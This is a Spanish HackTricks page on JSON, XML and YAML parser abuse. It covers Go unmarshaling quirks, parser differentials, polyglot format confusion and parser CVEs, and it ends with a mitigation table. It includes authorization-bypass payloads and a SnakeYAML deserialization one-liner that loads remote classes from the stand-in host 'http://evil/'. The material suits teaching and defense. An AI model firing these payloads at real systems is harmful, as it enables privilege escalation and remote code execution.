JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Go JSON Decoder
Se detectaron los siguientes problemas en el Go JSON, aunque también podrían estar presentes en otros lenguajes. Estos problemas se publicaron en esta entrada de blog.
Los analizadores JSON, XML y YAML de Go tienen una larga trayectoria de inconsistencias y configuraciones inseguras que pueden ser abusadas para eludir la autenticación, escalar privilegios o exfiltrar datos sensibles.
(Un)Marshaling Datos Inesperados
El objetivo es explotar estructuras que permiten a un atacante leer/escribir campos sensibles (por ejemplo, IsAdmin
, Password
).
- Example Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Vulnerabilidades Comunes
- Etiqueta faltante (sin etiqueta = el campo aún se analiza por defecto):
type User struct {
Username string
}
Carga útil:
{"Username": "admin"}
- Uso incorrecto de
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Carga útil:
{"-": true}
✔️ Forma adecuada de bloquear un campo para que no sea (des)serializado:
type User struct {
IsAdmin bool `json:"-"`
}
Diferenciales de Parser
El objetivo es eludir la autorización aprovechando cómo diferentes parsers interpretan la misma carga útil de manera diferente, como en:
- CVE-2017-12635: elusión de Apache CouchDB a través de claves duplicadas
- 2022: RCE de 0 clics de Zoom a través de la inconsistencia del parser XML
- elusión de SAML de GitLab 2025 a través de peculiaridades de XML
1. Campos Duplicados:
El encoding/json
de Go toma el último campo.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Otros analizadores (por ejemplo, Jackson de Java) pueden tomar el primero.
2. Insensibilidad a mayúsculas y minúsculas: Go es insensible a mayúsculas y minúsculas:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Incluso los trucos de Unicode funcionan:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Desajuste entre servicios: Imagina:
- Proxy escrito en Go
- Servicio de AuthZ escrito en Python
El atacante envía:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python ve
UserAction
, lo permite - Go ve
AdminAction
, lo ejecuta
Confusión de Formato de Datos (Políglotas)
El objetivo es explotar sistemas que mezclan formatos (JSON/XML/YAML) o que fallan abiertamente en errores de análisis como:
- CVE-2020-16250: HashiCorp Vault analizó JSON con un analizador XML después de que STS devolviera JSON en lugar de XML.
El atacante controla:
- El encabezado
Accept: application/json
- Control parcial del cuerpo JSON
El analizador XML de Go lo analizó de todos modos y confió en la identidad inyectada.
- Carga útil elaborada:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
- Go JSON parser:
Action_2
(sin distinción entre mayúsculas y minúsculas + el último gana) - YAML parser:
Action_1
(sensible a mayúsculas) - XML parser: analiza
"Action_3"
dentro de la cadena
Vulnerabilidades Notables de los Parsers (2023-2025)
Los siguientes problemas explotables públicamente muestran que el análisis inseguro es un problema multilenguaje, no solo un problema de Go.
Deserialización RCE de SnakeYAML (CVE-2022-1471)
- Afecta:
org.yaml:snakeyaml
< 2.0 (utilizado por Spring-Boot, Jenkins, etc.). - Causa raíz:
new Constructor()
deserializa clases Java arbitrarias, permitiendo cadenas de gadgets que culminan en ejecución de código remoto. - PoC de una línea (abrirá la calculadora en el host vulnerable):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Fix / Mitigación:
- Actualizar a ≥2.0 (usa
SafeLoader
por defecto). - En versiones anteriores, usar explícitamente
new Yaml(new SafeConstructor())
.
libyaml Doble Liberación (CVE-2024-35325)
- Afecta:
libyaml
≤0.2.5 (biblioteca C utilizada por muchos enlaces de lenguaje). - Problema: Llamar a
yaml_event_delete()
dos veces conduce a una doble liberación que los atacantes pueden convertir en DoS o, en algunos escenarios, explotación de heap. - Estado: Rechazado por upstream como “uso indebido de la API”, pero las distribuciones de Linux enviaron un 0.2.6 parcheado que libera el puntero a null de manera defensiva.
RapidJSON Entero (Sub|Sobre)-flujo (CVE-2024-38517 / CVE-2024-39684)
- Afecta: Tencent RapidJSON antes del commit
8269bc2
(<1.1.0-patch-22). - Error: En
GenericReader::ParseNumber()
la aritmética no verificada permite a los atacantes crear literales numéricos enormes que se envuelven y corrompen el heap, lo que finalmente habilita la escalación de privilegios cuando el gráfico de objetos resultante se utiliza para decisiones de autorización.
🔐 Mitigaciones (Actualizado)
Riesgo | Fix / Recomendación |
---|---|
Campos desconocidos (JSON) | decoder.DisallowUnknownFields() |
Campos duplicados (JSON) | ❌ Sin solución en stdlib — validar con jsoncheck |
Coincidencia sin distinción de mayúsculas (Go) | ❌ Sin solución — validar etiquetas de estructura + pre-canonizar entrada |
Datos basura XML / XXE | Usar un analizador endurecido (encoding/xml + DisallowDTD ) |
Claves desconocidas YAML | yaml.KnownFields(true) |
Deserialización YAML insegura | Usar SafeConstructor / actualizar a SnakeYAML ≥2.0 |
libyaml ≤0.2.5 doble liberación | Actualizar a 0.2.6 o versión parcheada de la distro |
RapidJSON <commit parcheado | Compilar contra la última versión de RapidJSON (≥Julio 2024) |
Referencias
- Baeldung – “Resolviendo CVE-2022-1471 Con SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.